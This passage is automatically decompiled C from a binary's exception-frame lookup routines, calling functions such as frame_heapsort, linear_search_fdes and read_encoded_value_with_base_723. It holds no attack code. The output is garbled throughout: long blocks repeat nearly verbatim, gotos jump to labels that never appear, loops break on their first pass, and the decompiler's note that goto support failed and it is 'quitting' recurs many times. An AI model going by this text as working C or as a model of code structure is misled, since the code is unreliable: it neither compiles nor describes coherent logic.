if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
// 0x80a8943
g95 = 0;
v146 = g100;
v145 = (int32_t)v48;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v30;
}
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
} else {
v149 = v148;
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v105) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
} else {
v149 = (int32_t *)v104;
}
}
// 0x80a8943
g95 = 0;
v146 = g100;
v145 = (int32_t)v48;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v149;
}
}
}
// 0x80a8b85
v32 = 0;
v87 = 0;
v82 = 0;
v81 = 0;
v29 = (int32_t *)v93;
// branch -> 0x80a8bd5
while (true) {
// 0x80a8bd5
v86 = v87;
v80 = v81;
v28 = v29;
// branch -> 0x80a8bd5
goto lab_0x6d0fe20;
}
}
// 0x80a8746
*v18 = 0;
g96 = v88;
v19 = (int32_t *)(v88 + 4);
*v19 = 0;
v57 = g102;
v73 = (int32_t)(int32_t *)v93;
g101 = v73;
v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4);
g95 = v16;
if (v16 != v56) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
// 0x80a8773
g96 = v57;
g97 = v117;
g95 = (int32_t)v4;
frame_heapsort(a1, 0, 0);
v96 = v38;
v95 = (int32_t)v96;
v97 = *v19;
g96 = v97;
if (v97 != 0) {
// 0x80a879d
v125 = v95 + 8;
v22 = (int32_t *)(v88 + 8 + 4 * v97);
v110 = v96->e1;
// branch -> 0x80a87cf
while (true) {
// 0x80a87cf
v128 = v97 - 1;
v20 = (int32_t *)((int32_t)v22 - 4);
v21 = (struct struct_118 *)*v20;
v41 = v21;
v98 = (int32_t)v110;
if (v110 == NULL) {
v52 = (int32_t *)0x80a8783;
v109 = NULL;
goto lab_0x6cebf10;
}
goto lab_0x6ca6790;
}
}
// 0x80a886a
free(v17);
// branch -> 0x80a8878
// 0x80a8878
v100 = v38;
v147 = v4;
v58 = (int32_t)v147;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = (int32_t *)0x80a8783;
v148 = (int32_t *)v147;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// 0x80a8943
g95 = 0;
v146 = g100;
v145 = (int32_t)v51;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v148;
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
g99 -= 4;
v151 = linear_search_fdes(a1, 0, 0);
if (v151 == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// 0x80a8943
g95 = 0;
v146 = g100;
v145 = (int32_t)v51;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v6;
}
} else {
v150 = v151;
v149 = v6;
}
} else {
v150 = 0;
v149 = v148;
}
// 0x80a8943
g95 = v150;
v146 = g100;
v145 = (int32_t)v51;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v149;
}
v121 = v129;
v48 = v51;
v118 = (int32_t *)0x80a8875;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) != 0) {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
// 0x80a8943
g95 = 0;
v146 = g100;
v145 = (int32_t)v48;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v30;
}
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
} else {
v149 = v148;
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v105) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
} else {
v149 = (int32_t *)v104;
}
}
// 0x80a8943
g95 = 0;
v146 = g100;
v145 = (int32_t)v48;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v149;
}
// 0x80a8d40
g96 = v92;
g97 = v117;
g95 = v71;
v1 = (struct struct_118 *)0x80a8d54;
g99 -= 4;
frame_heapsort(a1, 0, 0);
// branch -> 0x80a8878
// 0x80a8878
v100 = v38;
v147 = v4;
v58 = (int32_t)v147;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v50;
v148 = (int32_t *)v147;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// 0x80a8943
g95 = 0;
v146 = g100;
v145 = (int32_t)v51;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v148;
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 != 1) {
v121 = v129;
v48 = v51;
v118 = (int32_t *)0x80a8693;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) != 0) {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
// 0x80a8943
g95 = 0;
v146 = g100;
v145 = (int32_t)v48;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v30;
}
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
} else {
v149 = v148;
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v105) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
} else {
v149 = (int32_t *)v104;
}
}
// 0x80a8943
g95 = 0;
v146 = g100;
v145 = (int32_t)v48;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v149;
}
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
v1 = (struct struct_118 *)0x80a8d26;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// 0x80a8943
g95 = 0;
v146 = g100;
v145 = (int32_t)v51;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v6;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a870a
v43 = g98;
v46 = v43;
v117 = v43 - 0x887a4;
// branch -> 0x80a8713
}
// 0x80a8713
g102 = v88;
if (v88 == 0) {
// 0x80a8d40
g96 = v92;
g97 = v117;
g95 = v71;
v1 = (struct struct_118 *)0x80a8d54;
g99 -= 4;
frame_heapsort(a1, 0, 0);
v49 = v50;
v120 = (int32_t *)0x80a8693;
// branch -> 0x80a8878
} else {
// 0x80a8721
v18 = (int32_t *)(v92 + 4);
v94 = *v18;
if (v94 != 0) {
// 0x80a8b00
v61 = v46 + 0x7888;
v36 = (struct struct_118 *)v61;
v12 = v92 + 8;
*(int32_t *)(v88 + 8) = v61;
v14 = v12;
g101 = v14;
g96 = 1;
if (v94 != 1) {
v11 = 1;
v15 = v14;
while (true) {
// 0x80a8b44
v108 = (int32_t)v36;
g1 = v15 < v108;
g103 = v15 == v108;
if (v15 == v108) {
goto lab_0x6c94920;
}
goto lab_0xafb6150;
}
}
// 0x80a8b85
v32 = 0;
v87 = 0;
v82 = 0;
v81 = 0;
v29 = (int32_t *)v93;
// branch -> 0x80a8bd5
while (true) {
// 0x80a8bd5
v86 = v87;
v80 = v81;
v28 = v29;
// branch -> 0x80a8bd5
goto lab_0x6d0fe20;
}
}
// 0x80a8746
*v18 = 0;
g96 = v88;
v19 = (int32_t *)(v88 + 4);
*v19 = 0;
v57 = g102;
v73 = (int32_t)(int32_t *)v93;
g101 = v73;
v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4);
g95 = v16;
if (v16 != v56) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
// 0x80a8773
g96 = v57;
g97 = v117;
g95 = (int32_t)v4;
frame_heapsort(a1, 0, 0);
v96 = v38;
v95 = (int32_t)v96;
v97 = *v19;
g96 = v97;
if (v97 != 0) {
// 0x80a879d
v125 = v95 + 8;
v22 = (int32_t *)(v88 + 8 + 4 * v97);
v110 = v96->e1;
// branch -> 0x80a87cf
while (true) {
// 0x80a87cf
v128 = v97 - 1;
v20 = (int32_t *)((int32_t)v22 - 4);
v21 = (struct struct_118 *)*v20;
v41 = v21;
v98 = (int32_t)v110;
if (v110 == NULL) {
v52 = (int32_t *)0x80a8783;
v109 = NULL;
goto lab_0x6cebf10;
}
goto lab_0x6ca6790;
}
}
// 0x80a886a
free(v17);
v49 = (int32_t *)0x80a8783;
v120 = (int32_t *)0x80a8875;
// branch -> 0x80a8878
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
v119 = v120;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
v1 = (struct struct_118 *)0x80a8d26;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
v1 = (struct struct_118 *)0x80a89fb;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
v119 = v120;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
v1 = (struct struct_118 *)0x80a8d26;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
v1 = (struct struct_118 *)0x80a89fb;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
v50 = (int32_t *)0x80a86d1;
}
} else {
v50 = v2;
}
}
// 0x80a86db
v93 = v38;
v92 = (int32_t)v93;
if (v93 != NULL) {
// 0x80a86eb
g96 = v56;
if (v93->e1 != v27) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
}
// 0x80a86fa
v71 = (int32_t)v4;
g101 = v71;
v72 = v71 + 16;
if (*(char *)v72 == 4) {
// 0x80a8ae0
v45 = g98;
if (*(int16_t *)v72 == 2040) {
// 0x80a8af2
v46 = v45;
v117 = v45 - 0x89f44;
// branch -> 0x80a8713
} else {
// 0x80a8ce4
v65 = v45 - 0x89f24;
g101 = v65;
v46 = v45;
v117 = v65;
// branch -> 0x80a8713
}
// 0x80a8713
g102 = v88;
if (v88 == 0) {
// 0x80a8d40
g96 = v92;
g97 = v117;
g95 = v71;
v1 = (struct struct_118 *)0x80a8d54;
g99 -= 4;
frame_heapsort(a1, 0, 0);
v49 = v50;
v120 = (int32_t *)0x80a8693;
// branch -> 0x80a8878
} else {
// 0x80a8721
v18 = (int32_t *)(v92 + 4);
v94 = *v18;
if (v94 != 0) {
// 0x80a8b00
v61 = v46 + 0x7888;
v36 = (struct struct_118 *)v61;
v12 = v92 + 8;
*(int32_t *)(v88 + 8) = v61;
v14 = v12;
g101 = v14;
g96 = 1;
if (v94 != 1) {
v11 = 1;
v15 = v14;
while (true) {
// 0x80a8b44
v108 = (int32_t)v36;
g1 = v15 < v108;
g103 = v15 == v108;
if (v15 == v108) {
goto lab_0x6c94920;
}
goto lab_0xafb6150;
}
}
// 0x80a8b85
v32 = 0;
v87 = 0;
v82 = 0;
v81 = 0;
v29 = (int32_t *)v93;
// branch -> 0x80a8bd5
while (true) {
// 0x80a8bd5
v86 = v87;
v80 = v81;
v28 = v29;
// branch -> 0x80a8bd5
goto lab_0x6d0fe20;
}
}
// 0x80a8746
*v18 = 0;
g96 = v88;
v19 = (int32_t *)(v88 + 4);
*v19 = 0;
v57 = g102;
v73 = (int32_t)(int32_t *)v93;
g101 = v73;
v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4);
g95 = v16;
if (v16 != v56) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
// 0x80a8773
g96 = v57;
g97 = v117;
g95 = (int32_t)v4;
frame_heapsort(a1, 0, 0);
v96 = v38;
v95 = (int32_t)v96;
v97 = *v19;
g96 = v97;
if (v97 != 0) {
// 0x80a879d
v125 = v95 + 8;
v22 = (int32_t *)(v88 + 8 + 4 * v97);
v110 = v96->e1;
// branch -> 0x80a87cf
while (true) {
// 0x80a87cf
v128 = v97 - 1;
v20 = (int32_t *)((int32_t)v22 - 4);
v21 = (struct struct_118 *)*v20;
v41 = v21;
v98 = (int32_t)v110;
if (v110 == NULL) {
v52 = (int32_t *)0x80a8783;
v109 = NULL;
goto lab_0x6cebf10;
}
goto lab_0x6ca6790;
}
}
// 0x80a886a
free(v17);
v49 = (int32_t *)0x80a8783;
v120 = (int32_t *)0x80a8875;
// branch -> 0x80a8878
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
v119 = v120;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
v1 = (struct struct_118 *)0x80a8d26;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
v1 = (struct struct_118 *)0x80a89fb;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
